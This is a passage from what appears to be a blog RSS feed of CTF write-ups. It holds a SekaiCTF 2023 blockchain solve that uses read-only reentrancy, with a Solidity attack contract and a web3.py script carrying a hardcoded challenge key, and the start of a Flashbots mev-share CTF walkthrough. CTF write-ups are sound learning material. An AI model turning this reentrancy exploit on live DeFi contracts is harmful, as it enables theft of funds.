&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/mmKtS/hyTIMHAthx/Ttp4CHAxFMWIrUCEbgEUyk/img.png?width=1024&amp;amp;height=576&amp;amp;face=0_0_1024_576,https://scrap.kakaocdn.net/dn/YNZXq/hyTL4Nliyw/KQLiYRh7lFnUaiOVcoLMbk/img.png?width=768&amp;amp;height=768&amp;amp;face=0_0_768_768');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;Curve LP Oracle Manipulation: Post Mortem&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;What if you could manipulate Curve's oracles to exploit major DeFi protocols? Read about the technical details of read-only reentrency attacks.&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;chainsecurity.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;When removing the LP token by removeLiqudity(), the transfer of Ether exists and re-entrancy is possible for the getVirtualPrice() function.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Since the invariant is still broken, the get virtual price is unstable, so I can call finish and emit the flag through receive().&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;Solve&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1693155540394&quot; class=&quot;solidity routeros&quot; data-ke-language=&quot;solidity&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;pragma solidity 0.8.19;

import &quot;./Equalizer.sol&quot;;
import &quot;./MusicRemixer.sol&quot;;
import &quot;./SampleEditor.sol&quot;;

contract Attack {
    
    Equalizer public E;
    SampleEditor public SE;
    MusicRemixer public MR;

    constructor(address se, address mr, address e) payable{
        E = Equalizer(e);
        SE = SampleEditor(se);
        MR = MusicRemixer(mr);
    }

    receive() payable external {
        MR.finish();
    }

    function attack() external {
        uint[3] memory amt;
        amt[0] = 10**18 - 36516516511234512;
        E.increaseVolume{value:amt[0]}(amt);
        E.decreaseVolume(E.volumeGainOf(address(this)));
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1693155572607&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from web3 import Web3
import json
from solc import compile_source
import time
w3 = Web3(Web3.HTTPProvider(&quot;http://re-remix-web.chals.sekai.team/97feb6dd-eda1-4097-8694-e039e816e14b&quot;))
#Check Connection
t=w3.is_connected()
print(t)

# Get private key 
prikey = '0x07b1c315909058c038bc2d3dcd0382c2d64c378c6d6200fb26615d0bacae63bc'

# Create a signer wallet
PA=w3.eth.account.from_key(prikey)
Public_Address=PA.address

print(Public_Address) # 0x1A422f86D5381E84b01907ddF0E53fa9A6B2a3B3

myAddr = Public_Address

MR_addr = &quot;0x88aBc46b2D004FFd51E6246f04bDDB8E247DD89D&quot;
SE_addr = &quot;0xA3e98779924Ee0468b6e22468a69B542945f7e07&quot;
S_addr = &quot;0x55739f7e32eD132cAb6eBb095B3ec6e84B42DD0f&quot;
E_addr = &quot;0xE056699Af3564f767E15EF2446972A4B78A173Dd&quot;
attack_slot = 0x5ebfdad7f664a9716d511eafb9e88c2801a4ff53a3c9c8135d4439fb346b50bf
attack_input = 0x0000000000000000000000000000000000000000000000000000000000000100

def attackSE():
    f = open('SE.abi', 'r')
    abi_txt = f.read()
    abi = json.loads(abi_txt)
    contract = w3.eth.contract(address=SE_addr, abi=abi)
    func_call = contract.functions[&quot;updateSettings&quot;](attack_slot, attack_input).build_transaction({
        &quot;from&quot;: myAddr,
        &quot;nonce&quot;: w3.eth.get_transaction_count(myAddr),
        &quot;gasPrice&quot;: w3.eth.gas_price,
        &quot;value&quot;: 0,
        &quot;chainId&quot;: w3.eth.chain_id,
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

    func_call = contract.functions[&quot;setTempo&quot;](233).build_transaction({
        &quot;from&quot;: myAddr,
        &quot;nonce&quot;: w3.eth.get_transaction_count(myAddr),
        &quot;gasPrice&quot;: w3.eth.gas_price,
        &quot;value&quot;: 0,
        &quot;chainId&quot;: w3.eth.chain_id,
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

    func_call = contract.functions[&quot;adjust&quot;]().build_transaction({
        &quot;from&quot;: myAddr,
        &quot;nonce&quot;: w3.eth.get_transaction_count(myAddr),
        &quot;gasPrice&quot;: w3.eth.gas_price,
        &quot;value&quot;: 0,
        &quot;chainId&quot;: w3.eth.chain_id,
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

def attack_deploy():
    f = open(&quot;att.abi&quot;, &quot;r&quot;); contract_abi= f.read(); f.close()
    f = open(&quot;att.bin&quot;, &quot;r&quot;); contract_bytecode= f.read(); f.close()

    contract = w3.eth.contract(abi=contract_abi, bytecode=contract_bytecode)
    transaction = contract.constructor(SE_addr, MR_addr, E_addr).build_transaction(
        {
            &quot;chainId&quot;: w3.eth.chain_id,
            &quot;gasPrice&quot;: w3.eth.gas_price,
            &quot;from&quot;: Public_Address,
            &quot;nonce&quot;: w3.eth.get_transaction_count(Public_Address),
            &quot;value&quot;: 10**18 - 26516516511234512
        }
    )
    sign_transaction = w3.eth.account.sign_transaction(transaction, private_key=prikey)
    print(&quot;Deploying Contract!&quot;)
    # Send the transaction
    transaction_hash = w3.eth.send_raw_transaction(sign_transaction.rawTransaction)
    # Wait for the transaction to be mined, and get the transaction receipt
    print(&quot;Waiting for transaction to finish...&quot;)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(transaction_hash)
    print(transaction_receipt)
    print(f&quot;Done! Contract deployed to {transaction_receipt.contractAddress}&quot;)
    addr =  str(transaction_receipt.contractAddress)

    contract = w3.eth.contract(address=addr, abi=contract_abi)
    func_call = contract.functions[&quot;attack&quot;]().build_transaction({
        &quot;from&quot;: myAddr,
        &quot;nonce&quot;: w3.eth.get_transaction_count(myAddr),
        &quot;gasPrice&quot;: w3.eth.gas_price,
        &quot;chainId&quot;: w3.eth.chain_id,
    })
    signed_tx = w3.eth.account.sign_transaction(func_call, prikey)
    result = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
    transaction_receipt = w3.eth.wait_for_transaction_receipt(result)
    print(transaction_receipt)

attackSE()
attack_deploy()&lt;/code&gt;&lt;/pre&gt;</description>
      <category>writeups</category>
      <author>gss1</author>
      <guid isPermaLink="true">https://gss1.tistory.com/169</guid>
      <comments>https://gss1.tistory.com/entry/SekaiCTF-2023-BlockchainThe-Bidding-Play-for-Free-Re-Remix#entry169comment</comments>
      <pubDate>Mon, 28 Aug 2023 02:45:49 +0900</pubDate>
    </item>
    <item>
      <title>flashbot mev-share ctf</title>
      <link>https://gss1.tistory.com/entry/flashbot-mev-share-ctf</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;I participated in flashbot mev-share ctf, my first time to study mev-share.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I solved 9 challenges except MevMagicNumberV3.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Actually, it was difficult for me to write a solve code using typescript and rust, so I decided to use python familar to me.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/flashbots/mev-share-client-ts&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/flashbots/mev-share-client-ts&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/paradigmxyz/mev-share-rs&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/paradigmxyz/mev-share-rs&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Most of the participants seem to use the above libraries.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;My solve sciprts are&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://github.com/kangsangsoo/CTF-Writeups/tree/main/mev-share-ctf&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://github.com/kangsangsoo/CTF-Writeups/tree/main/mev-share-ctf&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;mev-share&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://docs.flashbots.net/flashbots-mev-share/overview&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://docs.flashbots.net/flashbots-mev-share/overview&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;I don't know enough to explain mev-share in detail yet, so please refer to the link above.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;MevShareCTFSimple&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;contract code&lt;/p&gt;
&lt;pre id=&quot;code_1691382260502&quot; class=&quot;solidity reasonml&quot; data-ke-language=&quot;solidity&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;contract MevShareCTFSimple is MevShareCTFBase {
    uint256 public activeBlock;

    uint256 immutable captureId;

    event Activate();

    constructor(MevShareCaptureLogger _mevShareCaptureLogger, uint256 _captureId) MevShareCTFBase(_mevShareCaptureLogger) payable {
        captureId = _captureId;
    }

    function activateRewardSimple() external payable onlyOwner {
        activeBlock = block.number;
        emit Activate();
    }

    function claimReward() external {
        require (activeBlock == block.number);
        activeBlock = 0;
        mevShareCaptureLogger.registerCapture(captureId, tx.origin);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;V1&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://goerli.etherscan.io/address/0x98997b55Bb271e254BEC8B85763480719DaB0E53#code&quot;&gt;https://goerli.etherscan.io/address/0x98997b55Bb271e254BEC8B85763480719DaB0E53#code&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;data from SSE&lt;/p&gt;
&lt;pre id=&quot;code_1691382411703&quot; class=&quot;json&quot; data-ke-language=&quot;json&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;{
  &quot;hash&quot;: &quot;0x3826165395e100a7c20bce858ffc22e590d36451e11ca496d8b95c9bf6c493eb&quot;,
  &quot;logs&quot;: [
    {
      &quot;address&quot;: &quot;0x98997b55bb271e254bec8b85763480719dab0e53&quot;,
      &quot;topics&quot;: [
        &quot;0x59d3ce47d6ad6c6003cef97d136155b29d88653eb355c8bed6e03fbf694570ca&quot;
      ],
      &quot;data&quot;: &quot;0x&quot;
    }
  ],
  &quot;txs&quot;: null,
  &quot;mevGasPrice&quot;: &quot;0x2faf080&quot;,
  &quot;gasUsed&quot;: &quot;0x7530&quot;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;If &lt;span style=&quot;background-color: #f6e199;&quot;&gt;logs address == contract address&lt;/span&gt;, then send the following bundle.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1691479159182&quot; class=&quot;text&quot; data-ke-language=&quot;text&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;bundle = {
  hash,
  tx of calling claimReward(),
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;V2&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://goerli.etherscan.io/address/0x65459dD36b03Af9635c06BAD1930DB660b968278#code&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://goerli.etherscan.io/address/0x65459dD36b03Af9635c06BAD1930DB660b968278#code&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;V1 and V2 are a little different.&lt;/p&gt;
&lt;pre id=&quot;code_1691382828698&quot; class=&quot;json&quot; data-ke-language=&quot;json&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;{
  &quot;hash&quot;: &quot;0xa4d03b2243c447ee5249f5005dc67ca068c4223de38124e4311df16cc5d8c6fc&quot;,
  &quot;logs&quot;: null,
  &quot;txs&quot;: [
    {
      &quot;to&quot;: &quot;0x65459dd36b03af9635c06bad1930db660b968278&quot;,
      &quot;functionSelector&quot;: &quot;0xa3c356e4&quot;
    }
  ],
  &quot;mevGasPrice&quot;: &quot;0x2faf080&quot;,
  &quot;gasUsed&quot;: &quot;0x7530&quot;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;If&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: #f6e199;&quot;&gt;txs to == contract address&lt;/span&gt;, then send the following bundle.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1691479273852&quot; class=&quot;text&quot; data-ke-language=&quot;text&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;bundle = {
  hash,
  tx of calling claimReward(),
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;V3&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://goerli.etherscan.io/address/0x1cdDB0BA9265bb3098982238637C2872b7D12474#code&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://goerli.etherscan.io/address/0x1cdDB0BA9265bb3098982238637C2872b7D12474#code&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;It is equal to V2.&lt;/p&gt;
&lt;pre id=&quot;code_1691382893822&quot; class=&quot;json&quot; data-ke-language=&quot;json&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;{
  &quot;hash&quot;: &quot;0x062e018cc7685ef29876fdfca8559f4815d372987adb61d48ee0e33a0594aa61&quot;,
  &quot;logs&quot;: null,
  &quot;txs&quot;: [
    {
      &quot;to&quot;: &quot;0x1cddb0ba9265bb3098982238637c2872b7d12474&quot;,
      &quot;functionSelector&quot;: &quot;0xa3c356e4&quot;,
      &quot;callData&quot;: &quot;0xa3c356e4&quot;
    }
  ],
  &quot;mevGasPrice&quot;: &quot;0x2faf080&quot;,
  &quot;gasUsed&quot;: &quot;0x7530&quot;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;V4&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://goerli.etherscan.io/address/0x20a1A5857fDff817aa1BD8097027a841D4969AA5#code&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://goerli.etherscan.io/address/0x20a1A5857fDff817aa1BD8097027a841D4969AA5#code&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;We only know the hash from SSE.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;We can put our transaction behind any transaction and wait until it succeeds.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;If a block has a transaction activeBlock() call ahead of the transaction I put in it, it succeeds.&lt;/p&gt;
&lt;pre id=&quot;code_1691383077208&quot; class=&quot;json&quot; data-ke-language=&quot;json&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;{
  &quot;hash&quot;: &quot;0x8e586a5ec514d85e3b8d5337e89c8459b9899a70d370fdf96d0f8e226b7d04e4&quot;,
  &quot;logs&quot;: null,
  &quot;txs&quot;: null,
  &quot;mevGasPrice&quot;: &quot;0x2faf080&quot;,
  &quot;gasUsed&quot;: &quot;0x7530&quot;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1691479393457&quot; class=&quot;text&quot; data-ke-language=&quot;text&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;bundle = {
  any hash,
  tx of calling claimReward(),
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;MevShareCTFTriple&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://goerli.etherscan.io/address/0x1eA6Fb65BAb1f405f8Bdb26D163e6984B9108478#code&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://goerli.etherscan.io/address/0x1eA6Fb65BAb1f405f8Bdb26D163e6984B9108478#code&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1691383379245&quot; class=&quot;solidity typescript&quot; data-ke-language=&quot;solidity&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;contract MevShareCTFTriple is MevShareCTFBase {
    uint256 public activeBlock;

    mapping (address =&amp;gt; mapping (uint256 =&amp;gt; uint256)) addressBlockCount;

    event Activate();

    constructor(MevShareCaptureLogger _mevShareCaptureLogger) MevShareCTFBase(_mevShareCaptureLogger) payable {
    }

    function activateRewardTriple() external payable onlyOwner {
        activeBlock = block.number;
        emit Activate();
    }

    function claimReward() external {
        require (activeBlock == block.number);
        require (tx.origin == msg.sender);
        uint256 claimCount = addressBlockCount[tx.origin][block.number] + 1;
        if (claimCount == 3) {
            mevShareCaptureLogger.registerCapture(401, tx.origin);
            return;
        }
        addressBlockCount[tx.origin][block.number] = claimCount;
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1691477019038&quot; class=&quot;json&quot; data-ke-language=&quot;json&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;{
  &quot;hash&quot;: &quot;0x0f016bf66c03ff8f017b84b2a59d1cd915b1456d768d341d2832bb8f5ca7d1cb&quot;,
  &quot;logs&quot;: [
    {
      &quot;address&quot;: &quot;0x1ea6fb65bab1f405f8bdb26d163e6984b9108478&quot;,
      &quot;topics&quot;: [
        &quot;0x59d3ce47d6ad6c6003cef97d136155b29d88653eb355c8bed6e03fbf694570ca&quot;
      ],
      &quot;data&quot;: &quot;0x&quot;
    }
  ],
  &quot;txs&quot;: null,
  &quot;mevGasPrice&quot;: &quot;0x2faf080&quot;,
  &quot;gasUsed&quot;: &quot;0x7530&quot;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;You have to call claimReward() 3 times in the same block.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Note that the nonce should increases&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1691479554528&quot; class=&quot;text&quot; data-ke-language=&quot;text&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;bundle = {
  hash,
  tx of calling claimReward(),
  tx of calling claimReward(),
  tx of calling claimReward(),
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;MevShareCTFNewContracts&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a href=&quot;https://goerli.etherscan.io/address/0x5eA0feA0164E5AA58f407dEBb344876b5ee10DEA#code&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;https://goerli.etherscan.io/address/0x5eA0feA0164E5AA58f407dEBb344876b5ee10DEA#code&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1691383536069&quot; class=&quot;solidity reasonml&quot; data-ke-language=&quot;solidity&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;contract MevShareCTFNewContracts is MevShareCTFBase {
    uint256 public magicNumber;

    // maps addresses to child contracts, acts both as check for valid caller and which CTF is being targeted
    //  value of 1 = emitted by address
    //  value of 2 = emitted by salt
    mapping (address =&amp;gt; uint256) childContracts;

    event Activate(address newlyDeployedContract);
    event ActivateBySalt(bytes32 salt);

    constructor(MevShareCaptureLogger _mevShareCaptureLogger) MevShareCTFBase(_mevShareCaptureLogger) payable {
    }

    function proxyRegisterCapture() external {
        uint256 childContractType = childContracts[msg.sender];
        if (childContractType == 0) {
            revert(&quot;Not called by a child contract&quot;);
        }
        mevShareCaptureLogger.registerCapture(300 + childContractType, tx.origin);
    }

    function activateRewardNewContract(bytes32 salt) external payable onlyOwner {
        MevShareCTFNewContract newlyDroppedContract = new MevShareCTFNewContract{salt: salt}();
        childContracts[address(newlyDroppedContract)] = 1;
        emit Activate(address(newlyDroppedContract));
    }

    function activateRewardBySalt(bytes32 salt) external payable onlyOwner {
        MevShareCTFNewContract newlyDroppedContract = new MevShareCTFNewContract{salt: salt}();
        childContracts[address(newlyDroppedContract)] = 2;
        emit ActivateBySalt(salt);
    }
}

contract MevShareCTFNewContract {
    MevShareCTFNewContracts immutable mevShareCTFNewContracts;
    uint256 public activeBlock;

    constructor() payable {
        mevShareCTFNewContracts = MevShareCTFNewContracts(msg.sender);
        activeBlock = block.number;
    }

    function claimReward() external {
        require (activeBlock == block.number);
        activeBlock = 0;
        mevShareCTFNewContracts.proxyRegisterCapture();
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;MevShareCTFNewContracts makes a new contract with salt using create2.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;We can calcaulate that address before it is made because it is deterministic address.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;V1&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;logs include the new contract address. So we can just call claimReward().&lt;/p&gt;
&lt;pre id=&quot;code_1691383919371&quot; class=&quot;json&quot; data-ke-language=&quot;json&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;{
  &quot;hash&quot;: &quot;0x8f4daf824ce07ef5188247addae10c603634e3e2a81739f9c56be65ddecabec3&quot;,
  &quot;logs&quot;: [
    {
      &quot;address&quot;: &quot;0x5ea0fea0164e5aa58f407debb344876b5ee10dea&quot;,
      &quot;topics&quot;: [
        &quot;0xf7e9fe69e1d05372bc855b295bc4c34a1a0a5882164dd2b26df30a26c1c8ba15&quot;
      ],
      &quot;data&quot;: &quot;0x000000000000000000000000e4e76109da7b05c28f7df8c0116ad9cf75beeafb&quot;
    }
  ],
  &quot;txs&quot;: null,
  &quot;mevGasPrice&quot;: &quot;0x2faf080&quot;,
  &quot;gasUsed&quot;: &quot;0x27100&quot;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #000000; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;V2&lt;/h3&gt;
&lt;p style=&quot;color: #333333; text-align: start;&quot; data-ke-size=&quot;size16&quot;&gt;logs data includes the salt used to make the new one so that we can calculate the new address.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1691383789145&quot; class=&quot;json&quot; data-ke-language=&quot;json&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt; {
  &quot;hash&quot;: &quot;0x703834fb1f5826597e522a0eefd726bdf47b16119a10fcb53331da88b7c618ee&quot;,
  &quot;logs&quot;: [
    {
      &quot;address&quot;: &quot;0x5ea0fea0164e5aa58f407debb344876b5ee10dea&quot;,
      &quot;topics&quot;: [
        &quot;0x71fd33d3d871c60dc3d6ecf7c8e5bb086aeb6491528cce181c289a411582ff1c&quot;
      ],
      &quot;data&quot;: &quot;0xbdbaf29470fe0ba323d11900b4f327ba382dfdf8e7cd4f3cd87349c0905b81d0&quot;
    }
  ],
  &quot;txs&quot;: null,
  &quot;mevGasPrice&quot;: &quot;0x2faf080&quot;,
  &quot;gasUsed&quot;: &quot;0x27100&quot;
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style5&quot; /&gt;
